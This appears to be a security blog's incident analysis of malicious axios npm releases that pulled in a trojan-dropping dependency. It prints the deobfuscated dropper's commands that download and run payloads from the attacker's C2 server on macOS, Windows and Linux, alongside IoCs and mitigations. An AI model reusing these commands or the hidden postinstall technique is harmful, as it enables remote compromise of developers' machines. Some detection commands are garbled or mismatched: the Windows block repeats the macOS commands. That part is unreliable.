By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog
Glossary
Customer Story
Video
eBook / Report
Solution Brief

Axios compromised: hijacked maintainer account pushes malicious npm versions

Written by
Meenakshi S L
Meenakshi S L
Kiran Raj
Kiran Raj
Published on
March 31, 2026
Updated on
March 30, 2026

On March 31, 2026, an attacker compromised the npm credentials of jasonsaayman, the lead maintainer of axios. It is one of the most depended-on packages in the JavaScript ecosystem with over 400 million monthly downloads. Using this access, the attacker published two malicious versions — axios@1.14.1 and axios@0.30.4 —within 39 minutes of each other. Neither version contains a single line of malicious code inside axios itself. The only change was injecting plain-crypto-js@^4.2.1 as a runtime dependency, a package that is never imported anywhere in the axios source code. It exists solely to trigger a postinstall hook.

plain-crypto-js was published from a separate throwaway account (nrwise@proton.me) and impersonates the legitimate crypto-js library. Its postinstall hook executes an obfuscated dropper (setup.js) that contacts a server at http://sfrclak.com:8000/6202033 and delivers platform-specific RAT payloads: an AppleScript-launched binary on macOS, a VBScript/PowerShell chain on Windows, and a Python script on Linux. After execution, the dropper deletes itself and replaces its own package.json with a clean stub — making post-infection inspection of node_modules unreliable.

Both malicious versions were removed by npm within approximately three hours. The plain-crypto-js package was replaced with a 0.0.1-security placeholder. If you installed either compromised version, treat the system as fully compromised, rotate all credentials, and check for the host-based indicators of compromise listed below.

Affected packages

Package Version Published (UTC) Exposure Window Status
axios 1.14.1 2026-03-31 00:21 ~3 h 30 min Removed by npm
axios 0.30.4 2026-03-31 01:00 ~2 h 51 min Removed by npm
plain-crypto-js 4.2.1 2026-03-30 23:59 ~3 h 26 min Security placeholder
plain-crypto-js 4.2.0 2026-03-30 05:57 ~21 h 28 min Security placeholder

Last known-clean versions: axios@1.14.0 (1.x branch), axios@0.30.3 (0.x branch)

Attack timeline

The attack was staged over approximately 18 hours, with the malicious dependency seeded on npm before the axios releases to evade "brand-new package" alarms from security scanners.

Time (UTC) Event
2026-03-30 05:57 plain-crypto-js@4.2.0 published by nrwise@proton.me — a clean decoy containing legitimate crypto-js source with no postinstall hook. Establishes npm publishing history.
2026-03-30 16:03 C2 domain sfrclak.com registered via NameCheap with privacy protection.
2026-03-30 23:59 plain-crypto-js@4.2.1 published — malicious postinstall: node setup.js hook and obfuscated dropper added.
2026-03-31 00:21 axios@1.14.1 published via compromised jasonsaayman account (email changed to ifstap@proton.me) — injects plain-crypto-js dependency.
2026-03-31 01:00 axios@0.30.4 published via same compromised account — identical injection on the legacy 0.x branch.
2026-03-31 ~03:00 npm security team removes both malicious axios versions and revokes all tokens.
2026-03-31 03:25 plain-crypto-js replaced with 0.0.1-security placeholder.

Technical analysis

Infection chain

The attack relies on npm's dependency resolution and lifecycle scripts. When a developer runs npm install axios@1.14.1, npm resolves the dependency tree and installs plain-crypto-js@4.2.1 automatically. npm then executes the postinstall script, which launches the dropper — all before the developer executes a single line of their own code.

The only modification in both compromised axios versions is a single line added to package.json:

"dependencies": {
  "follow-redirects": "^1.15.11",
  "form-data": "^4.0.5",
  "proxy-from-env": "^2.1.0",
  "plain-crypto-js": "^4.2.1"   // ← INJECTED — never imported anywhere in axios
}

No other files differ between axios@1.14.0 and axios@1.14.1. The tarball sizes are nearly identical (630,302 bytes vs 630,301 bytes). A grep across all 86 files in the axios package confirms that plain-crypto-js is never require()'d or imported — a phantom dependency whose sole purpose is to trigger install hooks.

Figure 1: The only change between the clean and compromised axios release — a single injected phantom dependency.

Maintainer account compromise

The attacker hijacked the jasonsaayman npm account, the primary maintainer of axios. The account's email was changed from to an attacker-controlled ProtonMail address.

A critical forensic signal distinguishes the malicious release from legitimate ones. Every legitimate axios 1.x release is published via GitHub Actions with npm's OIDC Trusted Publisher mechanism, cryptographically tying the publish to a verified CI/CD workflow. The malicious axios@1.14.1 was published manually with a stolen npm access token — no OIDC binding, no gitHead, and no corresponding commit or tag in the axios GitHub repository.

// axios@1.14.0 — LEGITIMATE (published via GitHub Actions OIDC)
"_npmUser": {
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-..."
  }
}

// axios@1.14.1 — MALICIOUS (published manually, no OIDC)
"_npmUser": {
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
  // no trustedPublisher, no gitHead
}

The dropper: setup.js

The malicious payload lives in plain-crypto-js@4.2.1's setup.js — a single 4,209-byte minified file employing a two-layer obfuscation scheme.

Obfuscation technique: All sensitive strings are stored as encoded values in an array named stq[]. Two functions decode them at runtime:

  • _trans_2(x, r) — Reverses the encoded string, replaces _ with =, base64-decodes the result, then passes the output through _trans_1.
  • _trans_1(x, r) — XOR cipher. The key "OrDeR_7077" is parsed through JavaScript's Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position i is decoded as charCode XOR key[(7 × i × i) % 10] XOR 333.

Full static deobfuscation and recovered every string:

stq[0]  → "child_process"
stq[1]  → "os"
stq[2]  → "fs"
stq[3]  → "http://sfrclak.com:8000/"   ← C2 base URL
stq[5]  → "win32"
stq[6]  → "darwin"
stq[13] → "package.json"               ← deleted after execution
stq[14] → "package.md"                 ← clean stub renamed to package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"

The entry point is _entry("6202033"), where 6202033 is the C2 URL path segment.

Figure 3: The deobfuscated form revealing the C2 URL and platform-specific attack chains.

Malicious behavior: platform-specific RAT delivery

The dropper checks os.platform() and branches into one of three attack paths. Each platform sends a distinct POST body to the same C2 URL — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux). The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic look like benign npm registry communication in network logs.

macOS — AppleScript Dropper

On macOS, the dropper writes an AppleScript to the system temp directory and executes it silently via nohup osascript. The AppleScript contacts the C2 server, downloads a binary to /Library/Caches/com.apple.act.mond — a path designed to blend in with Apple's reverse-DNS daemon naming convention — makes it executable (chmod 770), and launches it in the background via /bin/zsh.

set {a, s, d} to {"", "http://sfrclak.com:8000/6202033", "/Library/Caches/com.apple.act.mond"}
try
    do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & \
        " && chmod 770 " & d & " && /bin/zsh -c \"" & d & " " & s & " &\" &> /dev/null"
end try
do shell script "rm -rf <temp_script_path>"

The only persistent artifact is /Library/Caches/com.apple.act.mond.

Windows — VBScript + PowerShell Chain

On Windows, the attack chain involves three stages:

  1. Locate powershell.exe via where powershell and copy it to %PROGRAMDATA%\wt.exe — disguised as Windows Terminal to provide a persistent copy of the interpreter outside its standard path.
  2. Write a VBScript (.vbs) to the temp directory that runs a fully hidden cmd.exe window (0, False suppresses all UI).
  3. The VBScript downloads a PowerShell script from the C2, executes it with -WindowStyle Hidden -ExecutionPolicy Bypass via the renamed wt.exe, then self-deletes.
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" " & _
    """http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" " & _
    "& ""%PROGRAMDATA%\wt.exe"" -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" " & _
    """http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f", 0, False

The persistent artifact is %PROGRAMDATA%\wt.exe. The VBScript and PowerShell files are transient and self-delete.

Linux — Python Dropper

On Linux and all other platforms, the dropper executes a direct shell pipeline via execSync:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
    && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

The C2 returns a Python RAT script saved to /tmp/ld.py and executed in the background with nohup. The file remains on disk.

Self-cleanup: an anti-forensics tactic

After launching the platform payload, setup.js performs three forensic cleanup steps that make standard post-infection analysis unreliable:

  1. Deletes itself — fs.unlink(__filename) removes setup.js
  2. Deletes package.json — removes the file containing the "postinstall": "node setup.js" hook
  3. Renames package.md to package.json — a pre-staged clean stub (version 4.2.0, no postinstall, no setup.js reference) takes its place

The package.md file is shipped inside the npm package as a decoy. It is a valid package.json for version 4.2.0 with no scripts section. After the swap, any post-infection inspection of node_modules/plain-crypto-js/package.json shows a completely clean manifest with no indication anything malicious was installed. Running npm audit or manually reviewing the installed package directory will not reveal the compromise.

Figure 4: The original package.json (with postinstall hook) alongside package.md (clean stub). After execution, the dropper swaps them to erase evidence.

The directory's presence remains the key signal: node_modules/plain-crypto-js/ should not exist in any legitimate axios installation.

C2 infrastructure

Property Value
Domain sfrclak.com
IP 142.11.206.73
Port 8000
Hosting Hostwinds LLC (US) — hwsrv-1320779.hostwindsdns.com
Registrar NameCheap, Inc.
Created 2026-03-30 16:03 UTC (less than 8 hours before the first axios release)
Privacy Withheld for Privacy ehf (Iceland)
Status Offline as of analysis

The domain was purpose-built for this campaign. Registration was completed on NameCheap hours before the first malicious axios version was published. The C2 server is currently offline — the second-stage payloads could not be retrieved for analysis.

Runtime validation

Checking the attack's runtime behavior by installing axios@1.14.1 inside a GitHub Actions runner instrumented with their Harden-Runner agent. The process tree and network events confirm the dropper executes as designed:

  • C2 contact (curl → sfrclak.com:8000) fired 1.1 seconds into the npm install — before npm had finished resolving all dependencies.
  • A second C2 connection (nohup python3 /tmp/ld.py) occurred 36 seconds later in an entirely different workflow step, confirming the RAT persists as a detached background process orphaned to PID 1.
  • Four levels of process indirection separate the original npm install from the C2 callback: npm → sh → node → sh → curl/nohup.

Mitigation

Detection and response

Based on the deobfuscated payload, here's what anyone who ran npm install with axios@1.14.1 or axios@0.30.4 should do:

Step 1: Confirm Compromise

# Check if plain-crypto-js was ever installed
ls node_modules/plain-crypto-js 2>/dev/null && echo ":warning: COMPROMISED" || echo "CLEAN"

# Check lockfile for the malicious dependency
grep -r "plain-crypto-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

Step 2: Check for Second-Stage Artifacts

The dropper downloaded and executed a second-stage payload. Check for these:

macOS

ls -la /Library/Caches/com.apple.act.mondps aux | grep com.apple.act.mond

Windows (PowerShell)

ls -la /Library/Caches/com.apple.act.mondps aux | grep com.apple.act.mond

Linux

ls -la /tmp/ld.pyps aux | grep ld.py

Step 3: If artifacts found (second-stage executed):

  1. Isolate the machine from the network immediately
  2. Kill malicious processes:
    1. macOS: kill -9 $(pgrep -f com.apple.act.mond) and delete /Library/Caches/com.apple.act.mond
    2. Windows: remove %PROGRAMDATA%\wt.exe, check for scheduled tasks or persistence
    3. Linux: kill -9 $(pgrep -f ld.py) and delete /tmp/ld.py
  3. Rotate ALL credentials on the machine:
  4. Revoke and reissue all CI/CD tokens if this ran in a pipeline
  5. Remove plain-crypto-js from node_modules and lockfiles
  6. Pin axios to a known-good version (1.14.0 or 0.30.3)
  7. Audit network logs for connections to 142.11.206.73 or sfrclak.com

Prevention

  • Pin dependencies and commit lockfiles. Use npm ci (not npm install) for reproducible installs.
  • Use --ignore-scripts in CI/CD as a standing policy: npm ci --ignore-scripts prevents postinstall hooks from executing during automated builds.
  • Set a minimum release age: npm config set min-release-age 3 blocks packages published less than 3 days ago — this attack would have been caught during the cooldown window.
  • Verify OIDC provenance. Legitimate axios releases are published via GitHub Actions with npm's Trusted Publisher mechanism. Releases lacking OIDC provenance metadata are a red flag.
  • Monitor for phantom dependencies. A dependency that appears in package.json but is never imported or required anywhere in the codebase is a high-confidence indicator of a compromised release.
  • Use npm overrides to prevent semver drift:
{
  "overrides": { "axios": "1.14.0" },
  "resolutions": { "axios": "1.14.0" }
}

Indicators of Compromise (IoCs)

IoC Type Status
axios@1.14.1 Package (npm) Removed
axios@0.30.4 Package (npm) Removed
plain-crypto-js@4.2.1 Package (npm) Security placeholder
plain-crypto-js@4.2.0 Package (npm) Security placeholder
5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd SHA-256 (axios-1.14.1.tgz) Active IoC
59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f SHA-256 (axios-0.30.4.tgz) Active IoC
58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 SHA-256 (plain-crypto-js-4.2.1.tgz) Active IoC
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SHA-256 (setup.js) Active IoC
sfrclak.com C2 Domain Offline
142.11.206.73 C2 IP Offline
http://sfrclak.com:8000/6202033 C2 URL Offline
packages.npm.org/product0 C2 POST Body (macOS) Active IoC
packages.npm.org/product1 C2 POST Body (Windows) Active IoC
packages.npm.org/product2 C2 POST Body (Linux) Active IoC
/Library/Caches/com.apple.act.mond Filesystem (macOS) Active IoC
%PROGRAMDATA%\wt.exe Filesystem (Windows) Active IoC
%TEMP%\6202033.vbs Filesystem (Windows, transient) Active IoC
%TEMP%\6202033.ps1 Filesystem (Windows, transient) Active IoC
/tmp/ld.py Filesystem (Linux) Active IoC
ifstap@proton.me Attacker Email (hijacked jasonsaayman) Active IoC
nrwise@proton.me Attacker Email (plain-crypto-js publisher) Active IoC

Safe version references: axios@1.14.0 (shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb), axios@0.30.3 (shasum: ab1be887a2d37dd9ebc219657704180faf2c4920)

Conclusion

This attack is a textbook example of dependency poisoning through maintainer account hijack. The attacker did not modify a single line of axios source code — they added a phantom dependency that exists only to execute its postinstall hook during npm install. The staged rollout (publishing a clean decoy version of plain-crypto-js before the malicious one) and the three-step anti-forensic cleanup (deleting setup.js, deleting package.json, swapping in a clean stub) demonstrate deliberate operational planning.

The blast radius is significant: axios has over 400 million monthly downloads and 174,000 direct dependents. Any project using semver ranges (^1.14.0 or ^0.30.3) that ran npm install during the roughly three-hour attack window would have pulled in the compromised version. The absence of OIDC provenance on the malicious releases is the clearest forensic differentiator — a signal that could be incorporated into automated CI/CD gates.

The incident underscores the importance of three complementary defenses: pinning dependencies to exact versions and committing lockfiles, disabling lifecycle scripts in CI/CD environments (--ignore-scripts), and adopting npm's minimum release age policy to create a safety buffer against freshly published malicious releases. If your systems installed either compromised version, treat it as a full host compromise and rotate all accessible credentials.

References

  1. StepSecurity (primary technical analysis, IOCs, remediation): axios Compromised on npm - Malicious Versions Drop Remote Access Trojan
  2. Hacker News (discussion): Active Supply Chain Attack on axios 1.14.1
  3. NVD — CVE-2026-25639 (separate DoS issue, not the RAT supply chain): NIST NVD - CVE-2026-25639
  4. GitLab Advisory Database — same CVE, axios npm package (DoS): CVE-2026-25639 | GitLab Advisory Database
Free Assessment

What's running in your GitHub Actions?

Find out More

The Challenge

The Solution

The Impact

Welcome to the resistance
Oops! Something went wrong while submitting the form.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.